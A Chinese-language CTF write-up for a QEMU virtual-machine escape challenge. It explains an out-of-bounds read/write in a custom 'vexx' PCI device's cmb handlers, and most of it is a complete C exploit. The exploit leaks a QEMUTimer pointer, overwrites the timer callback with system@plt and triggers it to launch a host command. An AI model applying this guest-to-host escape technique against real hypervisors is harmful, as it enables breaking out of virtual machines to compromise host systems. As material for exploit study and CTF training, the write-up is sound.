这题没有去符合, 题目本身不算难.
用户名: root
密码: goodluck
题目没有去符合, 所以其实没啥好讲了, 就列一些笔者认为关键的地方
这里的定义了两块 mmio 内存区. 然后看下设备实例结构体:
可以看到 QEMUTimer, 所以多半就是劫持 dma_timer 了.
漏洞点在 cmb_read/cmb_write 中: 这里仅仅分析 vexx_cmb_write
在实例结构体中 req_buf 的大小为 0x100, 而 addr = offset + addr, 这里只检查了之前的 addr <= 0x100, 但是没有检查 offset+addr 是否越界, 而在 vexx_ioport_write 中是可以控制 offset 的, 从而导致越界写.
同理 vexx_cmb_read 存在越界读
其实就很简单了直接劫持 QEMUTimer 就行了
exp 如下: 注: 经过测试 pmio 一次只能写一个字节
- #include
- #include
- #include
- #include
- #include
- #include
- #include
-
- uint64_t mmio_addr = 0x00000000febd6000;
- uint64_t mmio_size = 0x1000;
- uint64_t cmb_addr = 0x00000000febd0000;
- uint64_t cmb_size = 0x4000;
-
- void * mmio_base;
- void * cmb_base;
- uint64_t pmio_base = 0x230;
-
- void mmio_init()
- {
- int fd = open("/dev/mem", 2);
- mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, mmio_addr);
- if (mmio_base < 0) puts("[X} mmio_init at mmio"), exit(EXIT_FAILURE);
- if (mlock(mmio_base, mmio_size) < 0) puts("[X] mlock at mmio"), exit(EXIT_FAILURE);
- cmb_base = mmap(0, cmb_size , PROT_READ|PROT_WRITE, MAP_SHARED, fd, cmb_addr );
- if (cmb_base < 0) puts("[X] mmio_init at cmb"), exit(EXIT_FAILURE);
- if (mlock(cmb_base, cmb_size) < 0) puts("[X] mlock at cmb"), exit(EXIT_FAILURE);
- printf("[+] mmio_base: %#p\n", mmio_base);
- printf("[+] cmb_base: %#p\n", cmb_base);
- }
-
- uint32_t mmio_read(uint64_t offset)
- {
- return *(uint32_t*)(mmio_base + offset);
- }
-
- void mmio_write(uint64_t offset, uint64_t val)
- {
- *(uint64_t*)(mmio_base + offset) = val;
- }
-
- uint32_t cmb_read(uint64_t offset)
- {
- return *(uint32_t*)(cmb_base + offset);
- }
-
- void cmb_write(uint64_t offset, uint32_t val)
- {
- *(uint32_t*)(cmb_base + offset) = val;
- }
-
- void pmio_init()
- {
- if (iopl(3) < 0) puts("[X] pmio_init"), exit(EXIT_FAILURE);
- }
-
- uint32_t pmio_read(uint32_t addr)
- {
- return inl(pmio_base + (addr - 0x230));
- }
-
- void pmio_writel(uint32_t addr, uint32_t val)
- {
- outl(val, pmio_base + (addr - 0x230));
- }
-
- void pmio_writew(uint32_t addr, uint32_t val)
- {
- outw(val, pmio_base + (addr - 0x230));
- }
-
- void pmio_writeb(uint32_t addr, uint32_t val)
- {
- outb(val, pmio_base + (addr - 0x230));
- }
-
- int main(int argc, char** argv, char** envp)
- {
- mmio_init();
- pmio_init();
- /*
- puts("[+] outl");
- pmio_writel(0x240, 0x38);
- puts("[+] outw");
- pmio_writew(0x240, 0x38);
- */
- puts("[+] outb");
- pmio_writeb(0x240, 0x38);
- pmio_writeb(0x230, 1);
- uint64_t cb_addr = cmb_read(0x100);
- printf("[+] cb_addr: %#llx\n", cb_addr);
- pmio_writeb(0x240, 0x3c);
- pmio_writeb(0x230, 1);
- cb_addr = cb_addr | ((1ULL * cmb_read(0x100)) << 32);
- uint64_t system_plt = cb_addr - 0x00000000004DCF10 + 0x00000000002AB860;
- printf("[+] cb_addr: %#llx\n", cb_addr);
- printf("[+] system@plt: %#llx\n", system_plt);
-
- pmio_writeb(0x240, 0x40);
- pmio_writeb(0x230, 1);
- uint64_t arg_addr = cmb_read(0x100);
- printf("[+] arg_addr: %#llx\n", arg_addr);
- pmio_writeb(0x240, 0x44);
- pmio_writeb(0x230, 1);
- arg_addr = arg_addr | ((1ULL * cmb_read(0x100)) << 32);
- uint64_t cmd_addr = arg_addr + 0xb90;
- printf("[+] arg_addr: %#llx\n", arg_addr);
- printf("[+] cmd_addr: %#llx\n", cmd_addr);
-
- pmio_writeb(0x240, 0x38);
- pmio_writeb(0x230, 1);
- cmb_write(0x100, system_plt&0xffffffff);
- pmio_writeb(0x240, 0x3c);
- pmio_writeb(0x230, 1);
- cmb_write(0x100, (system_plt>>32)&0xffffffff);
-
- pmio_writeb(0x240, 0x40);
- pmio_writeb(0x230, 1);
- cmb_write(0x100, cmd_addr&0xffffffff);
- pmio_writeb(0x240, 0x44);
- pmio_writeb(0x230, 1);
- cmb_write(0x100, (cmd_addr>>32)&0xffffffff);
-
- char cmd[8] = "xcalc";
- pmio_writeb(0x240, 0);
- pmio_writeb(0x230, 1);
- cmb_write(0, *(uint32_t*)&cmd[0]);
- pmio_writeb(0x240, 4);
- pmio_writeb(0x230, 1);
- cmb_write(0, *(uint32_t*)&cmd[4]);
-
- mmio_write(0x98, 1);
-
- // puts("[-] DEBUG");
- // pmio_writeb(0x240, 0x38);
-
-
- return 0;
- }
- x
效果如下: